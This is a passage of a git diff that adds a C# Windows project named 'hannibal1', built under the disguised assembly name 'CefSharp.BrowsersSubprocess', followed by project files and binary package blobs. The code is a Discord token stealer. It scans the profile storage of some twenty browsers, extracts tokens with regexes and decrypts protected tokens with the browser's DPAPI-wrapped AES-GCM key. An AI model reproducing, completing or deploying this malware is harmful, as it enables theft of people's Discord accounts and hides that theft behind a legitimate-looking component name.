Data") + }, + { + "Kometa", + Path.Combine(dst.LocalAppDataPath, "Kometa", "User Data") + }, + { + "Orbitum", + Path.Combine(dst.LocalAppDataPath, "Orbitum", "User Data") + }, + { + "CentBrowse", + Path.Combine(dst.LocalAppDataPath, "CentBrowser", "User Data") + }, + { + "7Sta", + Path.Combine(dst.LocalAppDataPath, "7Star", "7Star", "User Data") + }, + { + "Sputnik", + Path.Combine(dst.LocalAppDataPath, "Sputnik", "Sputnik", "User Data") + }, + { + "Vivaldi", + Path.Combine(dst.LocalAppDataPath, "Vivaldi", "User Data") + }, + { + "Chrome SxS", + Path.Combine(dst.LocalAppDataPath, "Google", "Chrome SxS", "User Data") + }, + { + "Chrome", + Path.Combine(dst.LocalAppDataPath, "Google", "Chrome", "User Data") + }, + { + "FireFox", + Path.Combine(dst.RoamingPath, "Mozilla", "Firefox", "Profiles") + }, + { + "Epic Privacy Browse", + Path.Combine(dst.LocalAppDataPath, "Epic Privacy Browser", "User Data") + }, + { + "Microsoft Edge", + Path.Combine(dst.LocalAppDataPath, "Microsoft", "Edge", "User Data") + }, + { + "Uran", + Path.Combine(dst.LocalAppDataPath, "uCozMedia", "Uran", "User Data") + }, + { + "Yandex", + Path.Combine(dst.LocalAppDataPath, "Yandex", "YandexBrowser", "User Data") + }, + { + "Brave", + Path.Combine(dst.LocalAppDataPath, "BraveSoftware", "Brave-Browser", "User Data") + }, + { + "Iridium", + Path.Combine(dst.LocalAppDataPath, "Iridium", "User Data") + } + }) + { + if (Directory.Exists(keyValuePair.Value)) + { + if (keyValuePair.Key == "Firefox") + { + taskList.Add(dst.FireFoxMethod(keyValuePair.Value)); + } + else + { + taskList.Add(dst.MethodA(keyValuePair.Value)); + taskList.Add(dst.MethodB(keyValuePair.Value)); + } + } + } + await Task.WhenAll((IEnumerable) taskList); + await dst.RemoveDub(); + } + + private static async Task MethodA(string path) + { + string[] allowedExtentions = new string[2] + { + ".log", + ".ldb" + }; + Regex regex = new Regex("[\\w-]{24,26}\\.[\\w-]{6}\\.[\\w-]{25,110}", RegexOptions.Compiled); + List processes = new List(); + List obtainedTokens = new List(); + string[] strArray1 = await Task.Run((Func) (() => Directory.GetDirectories(path, "leveldb", SearchOption.AllDirectories))); + for (int index1 = 0; index1 < strArray1.Length; ++index1) + { + string[] strArray2 = ((IEnumerable) Directory.GetFiles(strArray1[index1], "*", SearchOption.TopDirectoryOnly)).Where((Func) (file => ((IEnumerable) allowedExtentions).Contains(Path.GetExtension(file)))).ToArray(); + for (int index2 = 0; index2 < strArray2.Length; ++index2) + { + string path1 = strArray2[index2]; + try + { + string endAsync; + using (FileStream fs = new FileStream(path1, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader((Stream) fs)) + endAsync = await reader.ReadToEndAsync(); + } + if (!string.IsNullOrWhiteSpace(endAsync)) + { + foreach (Capture match in regex.Matches(endAsync)) + { + string token = match.Value; + if (!obtainedTokens.Contains(token)) + { + processes.Add(dst.AddAccount(token)); + obtainedTokens.Add(token); + } + } + } + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + } + strArray2 = (string[]) null; + } + strArray1 = (string[]) null; + await Task.WhenAll((IEnumerable) processes); + regex = (Regex) null; + processes = (List) null; + obtainedTokens = (List) null; + } + + private static async Task MethodB(string path) + { + string[] allowedExtentions = new string[2] + { + ".log", + ".ldb" + }; + Regex regex = new Regex("dQw4w9WgXcQ:[^.*\\['(.*)'\\].*$][^\"]*", RegexOptions.Compiled); + List processes = new List(); + List obtainedTokens = new List(); + string path1 = Path.Combine(path, "Local State"); + string levelDbPath = Path.Combine(path, "Local Storage", "leveldb"); + if (File.Exists(path1) && Directory.Exists(levelDbPath)) + { + try + { + string str = File.ReadAllText(path1); + int num1 = str.IndexOf("\"os_crypt\":"); + int num2 = str.IndexOf("\"", num1 + 12); + byte[] key = ((IEnumerable) Convert.FromBase64String(str.Substring(num1 + 12, num2 - num1 - 12).Split(':')[1].Trim('"'))).Skip(5).ToArray(); + foreach (string path2 in await Task.Run((Func) (() => ((IEnumerable) Directory.GetFiles(levelDbPath, "*", SearchOption.TopDirectoryOnly)).Where((Func) (file => ((IEnumerable) allowedExtentions).Contains(Path.GetExtension(file)))).ToArray()))) + { + string input = File.ReadAllText(path2); + if (!string.IsNullOrWhiteSpace(input)) + { + foreach (Capture match in regex.Matches(input)) + { + string source = match.Value; + if (source.EndsWith("\\")) + source = source.Take(source.Length - 1).ToString(); + string token = dst.DecryptTokenMethodB(Convert.FromBase64String(source.Split(new string[1] + { + "dQw4w9WgXcQ:" + }, StringSplitOptions.None)[1]), key); + if (!obtainedTokens.Contains(token) && !string.IsNullOrWhiteSpace(token)) + { + processes.Add(dst.AddAccount(token)); + obtainedTokens.Add(token); + } + } + } + } + key = (byte[]) null; + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + } + await Task.WhenAll((IEnumerable) processes); + regex = (Regex) null; + processes = (List) null; + obtainedTokens = (List) null; + } + + private static async Task FireFoxMethod(string path) + { + List processes = new List(); + List obtainedTokens = new List(); + Regex regex = new Regex("[\\w-]{24,26}\\.[\\w-]{6}\\.[\\w-]{25,110}", RegexOptions.Compiled); + string[] strArray = await Task.Run((Func) (() => Directory.GetFiles(path, "*.sqlite", SearchOption.AllDirectories))); + for (int index = 0; index < strArray.Length; ++index) + { + string path1 = strArray[index]; + try + { + string endAsync; + using (FileStream fs = new FileStream(path1, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader((Stream) fs)) + endAsync = await reader.ReadToEndAsync(); + } + if (!string.IsNullOrWhiteSpace(endAsync)) + { + foreach (Capture match in regex.Matches(endAsync)) + { + string token = match.Value; + if (!obtainedTokens.Contains(token) && !string.IsNullOrWhiteSpace(token)) + { + processes.Add(dst.AddAccount(token)); + obtainedTokens.Add(token); + } + } + } + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + } + } + strArray = (string[]) null; + await Task.WhenAll((IEnumerable) processes); + processes = (List) null; + obtainedTokens = (List) null; + regex = (Regex) null; + } + + private static string DecryptTokenMethodB(byte[] buffer, byte[] protectedKey) + { + try + { + byte[] array1 = ((IEnumerable) buffer).Skip(15).ToArray(); + byte[] key = ProtectedData.Unprotect(protectedKey, (byte[]) null, DataProtectionScope.CurrentUser); + byte[] array2 = ((IEnumerable) buffer).Skip(3).Take(12).ToArray(); + byte[] array3 = ((IEnumerable) array1).Skip(array1.Length - 16 /*0x10*/).ToArray(); + byte[] array4 = ((IEnumerable) array1).Take(array1.Length - array3.Length).ToArray(); + return Encoding.UTF8.GetString(new AesGcm().Decrypt(key, array2, (byte[]) null, array4, array3)); + } + catch (Exception ex) + { + Console.WriteLine((object) ex); + return string.Empty; + } + } + + private static async Task AddAccount(string token) + { + dst._accounts.Add(new DiscordAccountFormat(token)); + } + + private static async Task RemoveDub() + { + dst._accounts.Distinct().ToList(); + } + } +} diff --git a/hannibal1.csproj b/hannibal1.csproj new file mode 100644 index 0000000..8d60e2d --- /dev/null +++ b/hannibal1.csproj @@ -0,0 +1,136 @@ + + + + + Debug + AnyCPU + {0EA04CEA-FF13-426E-8C33-531603D6332E} + WinExe + CefSharp.BrowsersSubprocess + v4.8 + 1.0.1.1 + 512 + SHARP + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + true + + + SHARP.Program + + + + + + + packages\System.IO.4.3.0\lib\net462\System.IO.dll + True + True + + + packages\System.IO.Compression.4.3.0\lib\net46\System.IO.Compression.dll + True + True + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/hannibal1.sln b/hannibal1.sln new file mode 100644 index 0000000..59acf95 --- /dev/null +++ b/hannibal1.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CefSharp.BrowsersSubprocess", "hannibal1.csproj", "{0EA04CEA-FF13-426E-8C33-531603D6332E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {0EA04CEA-FF13-426E-8C33-531603D6332E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0EA04CEA-FF13-426E-8C33-531603D6332E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0EA04CEA-FF13-426E-8C33-531603D6332E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0EA04CEA-FF13-426E-8C33-531603D6332E}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/packages.config b/packages.config new file mode 100644 index 0000000..53845cb --- /dev/null +++ b/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/.signature.p7s b/packages/System.IO.4.3.0/.signature.p7s new file mode 100644 index 0000000000000000000000000000000000000000..f64b6da6dedc6706fc77464d99d30a42ce4eee27 GIT binary patch literal 9482 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 SITFxawa6Eb{0>K#+5R78Ks-SJ literal 0 HcmV?d00001 diff --git a/packages/System.IO.4.3.0/System.IO.4.3.0.nupkg b/packages/System.IO.4.3.0/System.IO.4.3.0.nupkg new file mode 100644 index 0000000000000000000000000000000000000000..a456d479504a2c4334229981fd255068bd01e5d1 GIT binary patch literal 703652 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

=kA4=|OxnC-#5O7(h^QTkFpg zHl2ZxOS@?z1H6zY3eQHVBBg3Qm zhsqQofPm2c^Sf0nES*dg44qs&ag%61Fe)Ga;n;xxrJU4uvJ_2g3&8BF&`<4uto{<>M8MNgXyo!xFIL z2bvkCh8_R#3pN-ae7ZT#4F#~2a}z_eYE~3yTjoU^gURC-4|W@GQbDK*_icX39sIXl zS@yX&JudcFej_Ot@pmvrTkHI+Aog-x`oO$B@K*UcMeL9flR{(Y&FhSz$-ZALOWthp z^{7LWT>Rk{sm{i~u(%TPO*EHP2@c6QxxmH(VNRYTqt3H9WN^=T-Qn5M*}GUj;rG~8CLc+B>Ievj9eN$_vA`8yil_i(4gk~Z5V*h~!;j^+^m8a*8zUBz2 za=?D@8!y)|KJP1}pti#+hU~UHO>#pu;a?~pq6$PAh# zrN3;oe&YR*djxe#;1d6B>Kco$HBxjH|0#0W^ON%1A=HKw!W7dN=Iw3Dt#{GW-4Ql> z*ZxC2!3cU;5A#r-W!4>y zs5qkOBKQGqWCQX$(PS!OIDbnhh3r@qlQi2l3kodRCh;as@Ul96 